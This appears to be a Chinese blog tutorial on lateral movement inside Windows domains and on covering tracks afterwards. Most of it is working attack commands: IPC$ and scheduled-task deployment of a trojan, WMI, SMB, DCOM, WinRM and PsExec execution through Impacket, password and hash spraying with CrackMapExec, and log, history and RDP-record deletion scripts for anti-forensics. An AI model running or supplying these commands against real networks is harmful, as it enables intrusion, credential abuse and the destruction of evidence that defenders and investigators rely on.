横向移动与痕迹清理

横向移动

在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,
会以被攻陷的主机为跳板,通过收集域内凭证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。
通过横向,攻击者最终获得域控制器的访问权限,甚⾄完全控制基于Windows操作系统的整个内⽹环
境,控制域环境下的全部机器。
在这里插入图片描述

漏洞利⽤

在这里插入图片描述

服务利⽤

IPC横向+计划任务横向

IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信⽽开放的命名管道。
IPC可以通过验证⽤户名和密码获得相应的权限,使⽤139、445端⼝。
利⽤条件:
1、⽬标机开启了139和445端⼝
2、⽬标主机管理员开启了ipc$默认共享
3、知道⽬标机的账户密码

建⽴连接:

shell net use \\192.168.3.142\ipc$ "admin!@#45" /user:sqladmin

执⾏命令:

shell tasklist /S 192.168.3.142 /U sqladmin /P admin!@#45

断开连接:

net use \\192.168.3.142\ipc$ /del 

传递⽊⻢:

copy C:\Users\Public\Music\smb.exe \\192.168.3.142\c$ 

计划任务横向

(at<2012)

at \\191.168.3.144 16:52 C:\Users\Public\Music\smb.exe

(schtasks>=2012)

创建任务
shell schtasks /create /s 192.168.3.142 /ru system /u sqladmin /p admin!@#4
5 /tn transfer /sc DAILY /tr C:\smb.exe /f
运⾏任务
shell schtasks /run /s 192.168.3.142 /u sqladmin /p admin!@#45 /tn transfe
r /i
删除任务
schtasks /delete /s 192.168.3.142 /u sqladmin /p admin!@#45 /tn transfer /f

WMI横向

WMI全称“windows管理规范”,从win2003开始⼀直存在。
它原本的作⽤是⽅便管理员对windows主机进⾏管理。
因此在内⽹渗透中,我们可以使⽤WMI服务进⾏横向移动。
其⽀持⽤户名明⽂或者hash的⽅式进⾏认证,并且该⽅法不会在⽬标⽇志系统留下痕迹。
利⽤条件:
1、WMI服务开启,端⼝135,默认开启。
2、防⽕墙允许135、445等端⼝通信。
3、知道⽬标机的账户密码。
⾃带WMI 明⽂传递 ⽆回显

wmic /node:192.168.3.142 /user:sqladmin /password:admin!@#45 process call create "cmd.exe /c ipconfig >C:\1.txt"

Impacket⼯具包

wmiexec.py proxychains impacket-wmiexec 0day/sqladmin:'admin!@#45'@192.168.3.142 

SMB横向

SMB是同⼀⽹络或域上的Windows机器的⽂件、打印机和串⾏端⼝共享协议。
使⽤SMB与⽂件共享进⾏交互,可以在整个⽹络中横向移动。
利⽤SMB服务可以通过明⽂或hash传递来远程执⾏,条件445服务端⼝开放。
利⽤条件:
1、445端⼝开放
2、知道账号密码

proxychains impacket-smbexec 0day/sqladmin:'admin!@#45'@192.168.3.142

DCOM横向

Windows组件对象模型(COM)是原⽣Windows应⽤程序编程接⼝(API)的⼀个组件,它允许软件对
象或实现⼀个或多个接⼝的可执⾏代码之间进⾏交互。通过COM,客户端对象可以调⽤服务器对象的⽅
法,通常是动态链接库(DLL)或可执⾏⽂件(EXE)。
分布式COM(DCOM)是透明的中间件,使⽤远程过程调⽤(RPC)技术将COM的功能扩展到本地计
算机之外。
通过利⽤分布式组件对象模型(DCOM)使⽤有效帐户与远程机器进⾏交互。
默认情况下,只有管理员才能通过DCOM远程激活和启动COM对象。

proxychains impacket-dcomexec 0day/sqladmin:'admin!@#45'@192.168.3.142 

WinRM横向

winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的⼀部分。
是⼀项允许管理员在系统上远程执⾏管理任务的服务,使⽤此服务需要管理员级别的凭据。
通信通过HTTP(5985)或HTTPS SOAP(5986)执⾏,(5986关闭,标识WinRM服务配置为仅接受
HTTP连接)默认情况下⽀持Kerberos和NTLM身份验证以及基本身份验证。
Windows Vista/win7必须⼿动启动,Windows 2008 以上版本默认⾃动状态;
WinRS 适⽤于Windows 2008 以上版本,Windows 2012 之后的版本默认允许远程任意主机来管理。

run winrs -r:OWA2013 -u:dbadmin -p:admin!@#45 "ipconfig" 

PSEXEC横向

PsExec 主要⽤于⼤批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec是Windows 提供的⼯具,所以杀毒软件将其列⼊⽩名单中)因为使⽤ PsExec 通过命令⾏环境与⽬标机器建⽴连接,甚⾄控制⽬标机器,⽽不需要通过远程桌⾯(RDP)进⾏图形化的控制。
PsExec 包含在 PsTools⼯具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip
通过 PsExec 可以在远程⽬标主机上执⾏命令,也可以将管理员权限提升到 System 权限以运⾏指定的程序。
PsExec 的基本原理是:
通过管道在远程⽬标主机上创建⼀个psexec 服务,并在本地磁盘中⽣成⼀个名为”PSEXESVC“的⼆进制⽂件,然后通过 psexec 服务运⾏命令,运⾏结束后删除服务。

proxychains impacket-psexec 0day/sqladmin:'admin!@#45'@192.168.3.142 

其他⽅式横向

SSH横向
RDP横向
VNC横向

软件部署利⽤

GPO组策略横向

组策略横向组策略(英语:Group Policy)是微软Windows NT家族操作系统的⼀个特性,它可以控制⽤
户帐户和计算机帐户的⼯作环境。
组策略提供了操作系统、应⽤程序和活动⽬录中⽤户设置的集中化管理和配置。
⾃Windows Server 2008开始,GPO组策略对象开始⽀持计划任务,以便于管理域中的计算机和⽤户。
利⽤组策略的计划任务实现横向移动。

步骤:

  1. 创建⼀个新⽂件夹,在共享中点击⾼级共享,然后选择权限,设置everyone的权限为完全控制
  2. 在安全中编辑添加everyone的权限为完全控制
  3. 放置⽊⻢
  4. 创建组策略
  5. 创建计划任务
  6. 等待组策略启⽤,即可上线。(计划任务内可注意触发条件)

密码喷洒

喷洒条件:
域中基本都有相关密码策略,需要注意策略中的错误次数限制以及账号被锁定时间,避免喷洒时账号被锁定。

密码策略检查

proxychains cme smb 192.168.3.142 -u "sqlsvr" -p "Admin12345" --pass-pol
proxychains crackmapexec smb 192.168.3.142 -u "sqlsvr" -p "Admin12345" --pass-pol

账号锁定阈值,是none,则代表没有错误次数限制
账号锁定时间为30分钟
如果有次数限制,则密码字典条数最好⼩于该值,避免被锁定。

喷洒主机

已知道账号和密码,喷洒主机

proxychains -q cme smb 192.168.3.0/24 -u "sqlsvr" -p "Admin12345"
proxychains -q crackmapexec smb 192.168.3.0/24 -u "sqlsvr" -p "Admin12345"

喷洒⽤户名

已知密码,喷洒⽤户名

proxychains -q cme smb 192.168.3.142 -u users.txt -p 'Admin12345'
proxychains -q crackmapexec smb 192.168.3.142 -u users.txt -p 'Admin12345'

喷洒密码

已知⽤户名,喷洒密码

proxychains -q cme smb 192.168.3.142 -u 'administrator' -p top100password.txt
proxychains -q crackmapexec smb 192.168.3.142 -u 'administrator' -p top100password.txt

喷洒hash

已知道账号和hash,喷洒主机

proxychains -q cme smb 192.168.3.0/24 -u "sqlsvr" -H "ccef208c6485269c20db2
cad21734fe7"
proxychains -q crackmapexec smb 192.168.3.0/24 -u "sqlsvr" -H "ccef208c6485269c20db2cad21734fe7"

喷洒服务

 proxychains -q cme mssql 192.168.3.0/24 -u sa -p 'admin'
 proxychains -q cme rdp 192.168.3.0/24 -u sa -p 'admin'
 proxychains -q cme ssh 192.168.3.0/24 -u sa -p 'admin'
 proxychains -q cme ldap 192.168.1.0/24 -u user -p password
 proxychains -q cme ldap 192.168.1.0/24 -u user -H A29F7623FD11550DEF0192DE9246F46B

痕迹清除

OPSEC

OPSEC,全称为Operations Security,即⾏动安全,也叫作战安全。
最先是美国军队提出的⼀套⾏动纲领,⽤于保障国防机密信息安全,包括⾏动mission、作战单元部署位置和时间、⼈事交易等等。
确定关键信息 -> 分析威胁信息 -> 研究解决措施 -> 评估⻛险矩阵 -> 实施解决⽅案
攻击者画像:

身份信息:
姓名、ID、⼿机号、身份证、⼈物照⽚、公司、学校、团队等
社交信息:
QQ、微信、⽀付宝、邮箱、微博、昵称id等
位置信息:
地理位置、公司位置、攻击位置等
资产信息:
攻击IP、攻击域名、C2地址、跳板机IP等
样本信息:
攻击样本、攻击⼿法、C2地址

清除webshell

caidao
weevely
antSword
rebeyond
Godzilla

清除隧道⼯具

Icmpsh
Pingtunnel
EarthWorm
Venom
Stowaway
Frp
Udp2raw
DnsCat2 && Dnscat2-Powrshell
Tunna
reGeog&&Neo-reGeorg
abptts

清除落地样本

清除落地样本,避免捕获分析、免杀失效、被狩猎和攻击劫持。 

清除WEB⽇志

tomcat

tomcat ⽇志信息分为两类:
⼀是运⾏中的⽇志,它主要记录运⾏的⼀些信息,尤其是⼀些异常错误⽇志信息 。
⼆是访问⽇志信息,它记录的访问的时间,IP ,访问的资料等相关信息。
记录系统启、关闭⽇志、管理⽇志和异常信息:

conf/logging.properties tomcat的⽇志配置
logs/catalina.xx.log 
logs/host-manager.xx.log 
logs/localhost.xx.log 
logs/manager.xx.log

WebLogic

默认配置情况下,WebLogic会有三种⽇志,分别是access log, Server log和domain log
WebLogic 9及以后版本:

access log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
server log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
domain log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<adminserver_name>\logs\<domain_name>.log

WebLogic 8.x 版本:

access log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\access.log
server log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\<server_name>.log
domain log在 $MW_HOME\user_projects\domains\<domain_name>\<domain_name>.log

Apache和Nginx

Apache安装路径:%Apache_home% 
默认路径:%Apache_home%\logs\access.log
Nginx安装路径假设:%Nginx_home% 
配置⽂件nginx.conf中配置⽇志路径如:access_log logs/access.log main
访问⽇志默认路径:%Nginx_home%\logs\access.log

Jboss和WebSphere

Jboss的配置⽂件和⽇志⽂件jboss-log4j.xml:
如:server/XXX/conf/jboss-log4j.xml server/XXX/log/server.log
WebSphere的默认路径:
IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut.log

清除系统⽇志

安全⽇志⽂件:%systemroot%\system32\config\SecEvent.EVT;
系统⽇志⽂件:%systemroot%\system32\config\SysEvent.EVT;
应⽤程序⽇志件:%systemroot%\system32\config\AppEvent.EVT;
DNS⽇志:%systemroot%\system32\config\DnsEvent.EVT;
删除指定记录的⽇志:
https://github.com/QAX-A-Team/EventCleaner

清除敏感⽬录⽂件

C:\Windows\Temp
C:\Users\All Users\
C:\ProgramData\
C:\Users\Admin\AppData\Local\Temp\
C:\Users\ Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

清除计划任务

清除远程桌⾯连接记录

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp

清除登陆⽇志

/var/log/wtmp 记录所有⽤户最近登陆信息,⽤last命令查看
/var/log/lastlog 记录⽤户最后⼀次登录的信息,⽤lastlog命令查看
/var/log/btmp 记录登录系统失败的⽤户信息,⽤lastb命令查看
/var/log/utmp 记录当前正登录的⽤户及其执⾏信息,⽤who或w命令查看
/var/log/message 记录系统重要信息(异常错误等)信息
/var/log/secure 记录安全相关:验证授权,账号密码信息,如ssh登陆su切换sudo授权
/var/log/cron 记录定时任务执⾏相关的⽇志信息
/var/log/auth.log 包含系统授权信息,包括⽤户登录和使⽤的权限机制等
/var/log/userlog 记录所有等级⽤户信息的⽇志

清除操作⽇志

rm -rf .bash_history
history -c

清除计划任务

1、查看任务:crontab –l 或 cat /etc/crontab 或 more /etc/crontab
2、查询⽤户的任务:crontab -u root –l 
3、删除⽤户的任务:crontab –u root –r 
4、编辑⽤户的任务:crontab –u root –e 
5、其他定时任务⽬录⽂件:
/etc/cron.d/* //存放系统级任务的任务⽂件
/etc/cron.hourly/* //存放每⼩时任务
/etc/cron.daily/* //存放每⽇任务
/etc/cron.weekly/* //存放每周任务
/etc/cron.monthly/* //存放每⽉任务
/etc/anacrontab //存放系统级的任务
/var/spool/cron/* //放各个⽤户的任务⽂件
6、计划任务的⽇志:/var/log/cron*

清除SSH免密钥登陆

rm -rf .ssh/ 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值